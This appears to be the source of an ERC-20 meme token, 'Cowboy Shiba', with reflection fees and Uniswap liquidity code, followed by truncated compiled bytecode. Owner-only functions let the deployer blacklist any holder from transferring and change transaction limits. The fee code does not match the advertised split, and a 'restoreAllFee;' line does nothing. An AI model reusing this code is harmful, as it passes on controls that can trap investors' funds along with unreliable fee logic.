2. 3% - Pool
3. 2% - Redistribution sent to all holders for all buys
4. 2% - Marketing
5. 1% - Charity
6. 1% - Burned
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract CowboyShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cowboy Shiba";
string private constant _symbol = "CBSHIB";
uint8 private constant _decimals = 9;
mapping(address => bool) private bots;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _dynamicFee = 3; //value used as "pool_fee", "marketing_fee" "tax_fee", "charity_fee", "burn_fee" respectfully using safemath in functions
mapping(address => uint256) private buycooldown;
address private _devAddress;
address private _marketingAddress;
address private _charityAddress;
address private _burnAddress;
address private _poolAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxPct = 3;
event MaxTxPctUpdated(uint256 _maxTxPct);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_dynamicFee == 0) return;
_dynamicFee = 0;
}
function restoreAllFee() private {
_dynamicFee = 3;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
uint256 maxTxAmount = _tTotal.mul(_maxTxPct).div(10**3);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen);
require(amount <= maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(2).div(100));
if (from != address(this) && to != address(this) && contractTokenBalance > 0) {
if (_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
}
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function maxTxAmount() public view returns (uint256) {
return _tTotal.mul(_maxTxPct).div(10**3);
}
function isMarketing(address account) public view returns (bool) {
return account == _marketingAddress;
}
function isDev(address account) public view returns (bool) {
return account == _devAddress;
}
function isCharity(address account) public view returns (bool) {
return account == _charityAddress;
}
function isPool(address account) public view returns (bool) {
return account == _poolAddress;
}
function setBotAddress(address account) external onlyOwner() {
require(!bots[account], "Account is already identified as a bot");
bots[account] = true;
}
function revertSetBotAddress(address account) external onlyOwner() {
require(bots[account], "Account is not identified as a bot");
bots[account] = false;
}
function setCharityAddress(address charityAddress) external onlyOwner {
_isExcludedFromFee[_charityAddress] = false;
_charityAddress = charityAddress;
_isExcludedFromFee[_charityAddress] = true;
}
function setBurnAddress(address burnAddress) external onlyOwner {
_isExcludedFromFee[_burnAddress] = false;
_burnAddress = burnAddress;
_isExcludedFromFee[_burnAddress] = true;
}
function setDevAddress(address devAddress) external onlyOwner {
_isExcludedFromFee[_devAddress] = false;
_devAddress = devAddress;
_isExcludedFromFee[_devAddress] = true;
}
function setMarketingAddress(address marketingAddress) external onlyOwner {
_isExcludedFromFee[_marketingAddress] = false;
_marketingAddress = marketingAddress;
_isExcludedFromFee[_marketingAddress] = true;
}
function setPoolAddress(address poolAddress) external onlyOwner {
_isExcludedFromFee[_poolAddress] = false;
_poolAddress = poolAddress;
_isExcludedFromFee[_poolAddress] = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxPct = 3;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tDynamic) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_transferFees(sender, tDynamic);
_reflectFee(rFee, tDynamic);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFees(address sender, uint256 tDynamic) private {
uint256 currentRate = _getRate();
if (tDynamic == 0) return;
uint256 tDynamicOneThird = tDynamic.div(3);
uint256 tMarketing = tDynamic.sub(tDynamicOneThird);
uint256 rMarketing = tMarketing.mul(currentRate);
_tOwned[_marketingAddress] = _tOwned[_marketingAddress].add(tMarketing);
_rOwned[_marketingAddress] = _rOwned[_marketingAddress].add(rMarketing);
emit Transfer(sender, _marketingAddress, tMarketing);
uint256 tCharity = tDynamic.sub(tDynamicOneThird).sub(tDynamicOneThird);
uint256 rCharity = tCharity.mul(currentRate);
_tOwned[_charityAddress] = _tOwned[_charityAddress].add(tCharity);
_rOwned[_charityAddress] = _rOwned[_charityAddress].add(rCharity);
emit Transfer(sender, _charityAddress, tCharity);
uint256 rPool = tDynamic.mul(currentRate); // tDynamic == tPool == 3%
_tOwned[_poolAddress] = _tOwned[_poolAddress].add(tDynamic);
_rOwned[_poolAddress] = _rOwned[_poolAddress].add(rPool);
emit Transfer(sender, _poolAddress, tDynamic);
uint256 rBurn = rCharity;
_tOwned[_burnAddress] = _tOwned[_burnAddress].add(tCharity);
_rOwned[_burnAddress] = _rOwned[_burnAddress].add(rBurn);
emit Transfer(sender, _burnAddress, tCharity); // tCharity == tBurn == 1%
}
function _reflectFee(uint256 rFee, uint256 tDynamic) private {
_rTotal = _rTotal.sub(rFee);
if (tDynamic != 0)
_tFeeTotal = _tFeeTotal.add(tDynamic.sub(tDynamic.div(3)));
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tDynamic) = _getTValues(tAmount, _dynamicFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rDynamic) = _getRValues(tAmount, tDynamic, currentRate);
return (rAmount, rTransferAmount, rDynamic, tTransferAmount, tDynamic);
}
function _getTValues(uint256 tAmount, uint256 dynamicFee) private pure returns (uint256, uint256) {
if (dynamicFee == 0)
return (tAmount, dynamicFee);
uint256 tDynamic = tAmount.mul(dynamicFee).div(100);
uint256 tTransferAmount = tAmount
.sub(tDynamic) //pool fee
.sub(tDynamic) //charity + marketing
.sub(tDynamic); //burn + redistribution
return (tTransferAmount, tDynamic);
}
function _getRValues(uint256 tAmount, uint256 tDynamic, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
if (tDynamic == 0)
return (rAmount, rAmount, tDynamic);
uint256 rDynamic = tDynamic.mul(currentRate);
uint256 rTransferAmount = rAmount
.sub(rDynamic) //pool fee
.sub(rDynamic) //charity + marketing
.sub(rDynamic); //burn + redistribution
return (rAmount, rTransferAmount, rDynamic);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxPct = maxTxPercent * 10;
emit MaxTxPctUpdated(_maxTxPct);
}
}
|
0x6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063d543dbeb1161008a578063e8078d9411610064578063e8078d9414610615578063e81ffbef1461062c578063e9e15b4f14610669578063f2fde38b14610692576101c2565b8063d543dbeb14610572578063dce144511461059b578063dd62ed3e146105d8576101c2565b8063a9059cbb116100c6578063a9059cbb146104de578063c3c8cd801461051b578063c9567bf914610532578063d0d41fe114610549576101c2565b80638da5cb5b1461045f578063906e9dd01461048a57806395d89b41146104b3576101c2565b8063313ce567116101595780635b16ebb7116101335780635b16ebb7146103a357806370a08231146103e0578063715018a61461041d5780638c0b5e2214610434576101c2565b8063313ce567146103265780634b0e7216146103515780635a99567e1461037a576101c2565b80630c9be46d116101955780630c9be46d1461026c57806318160ddd1461029557806323b872dd146102c05780632d4f40c6146102fd576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630c3f64bf1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106bb565b6040516101e991906143eb565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190613f55565b6106f8565b60405161022691906143d0565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190613e78565b610716565b60405161026391906143d0565b60405180910390f35b34801561027857600080fd5b50610293600480360381019061028e9190613e78565b610770565b005b3480156102a157600080fd5b506102aa61093d565b6040516102b791906145ad565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e29190613f06565b610947565b6040516102f491906143d0565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190613e78565b610a20565b005b34801561033257600080fd5b5061033b610b9d565b6040516103489190614622565b60405180910390f35b34801561035d57600080fd5b5061037860048036038101906103739190613e78565b610ba6565b005b34801561038657600080fd5b506103a1600480360381019061039c9190613e78565b610d73565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190613e78565b610eef565b6040516103d791906143d0565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190613e78565b610f49565b60405161041491906145ad565b60405180910390f35b34801561042957600080fd5b50610432610f9a565b005b34801561044057600080fd5b506104496110ed565b60405161045691906145ad565b60405180910390f35b34801561046b57600080fd5b5061047461111f565b6040516104819190614302565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac9190613e78565b611148565b005b3480156104bf57600080fd5b506104c8611315565b6040516104d591906143eb565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190613f55565b611352565b60405161051291906143d0565b60405180910390f35b34801561052757600080fd5b50610530611370565b005b34801561053e57600080fd5b506105476113cf565b005b34801561055557600080fd5b50610570600480360381019061056b9190613e78565b61149a565b005b34801561057e57600080fd5b5061059960048036038101906105949190613fba565b611667565b005b3480156105a757600080fd5b506105c260048036038101906105bd9190613e78565b61178e565b6040516105cf91906143d0565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190613eca565b6117e8565b60405161060c91906145ad565b60405180910390f35b34801561062157600080fd5b5061062a61186f565b005b34801561063857600080fd5b50610653600480360381019061064e9190613e78565b611d52565b60405161066091906143d0565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190613e78565b611dac565b005b34801561069e57600080fd5b506106b960048036038101906106b49190613e78565b611f79565b005b60606040518060400160405280600c81526020017f436f77626f792053686962610000000000000000000000000000000000000000815250905090565b600061070c61070561213b565b8484612143565b6001905092915050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b61077861213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fc9061452d565b60405180910390fd5b600060066000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600754905090565b600061095484848461230e565b610a158461096061213b565b610a1085604051806060016040528060288152602001614c8760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c661213b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a499092919063ffffffff16565b612143565b600190509392505050565b610a2861213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac9061452d565b60405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061450d565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610bae61213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c329061452d565b60405180910390fd5b600060066000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d7b61213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff9061452d565b60405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b906144cd565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000610f93600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aad565b9050919050565b610fa261213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110269061452d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061111a6103e861110c601354600754612b1b90919063ffffffff16565b612b9690919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61115061213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061452d565b60405180910390fd5b600060066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600681526020017f4342534849420000000000000000000000000000000000000000000000000000815250905090565b600061136661135f61213b565b848461230e565b6001905092915050565b61137861111f565b73ffffffffffffffffffffffffffffffffffffffff1661139661213b565b73ffffffffffffffffffffffffffffffffffffffff16146113b657600080fd5b60006113c130610f49565b90506113cc81612be0565b50565b6113d761213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145b9061452d565b60405180910390fd5b601260159054906101000a900460ff1661147d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6114a261213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461152f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115269061452d565b60405180910390fd5b600060066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61166f61213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f39061452d565b60405180910390fd5b6000811161173f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611736906144ad565b60405180910390fd5b600a8161174c9190614719565b6013819055507f99595f7d7537e27b903b443c0377f3a393eb12be4cd03427d4cbee063053c23e60135460405161178391906145ad565b60405180910390a150565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61187761213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb9061452d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061198d30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600754612143565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156119d357600080fd5b505afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b9190613ea1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a6d57600080fd5b505afa158015611a81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa59190613ea1565b6040518363ffffffff1660e01b8152600401611ac292919061431d565b602060405180830381600087803b158015611adc57600080fd5b505af1158015611af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b149190613ea1565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611b9d30610f49565b600080611ba861111f565b426040518863ffffffff1660e01b8152600401611bca9695949392919061436f565b6060604051808303818588803b158015611be357600080fd5b505af1158015611bf7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611c1c9190613fe3565b5050506001601260176101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506003601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611cfc929190614346565b602060405180830381600087803b158015611d1657600080fd5b505af1158015611d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d4e9190613f91565b5050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b611db461213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e389061452d565b60405180910390fd5b600060066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611f8161213b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461200e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120059061452d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561207e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120759061444d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121aa9061458d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612223576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221a9061446d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161230191906145ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561237e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123759061456d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156123ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e59061440d565b60405180910390fd5b60008111612431576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124289061454d565b60405180910390fd5b61243961111f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffff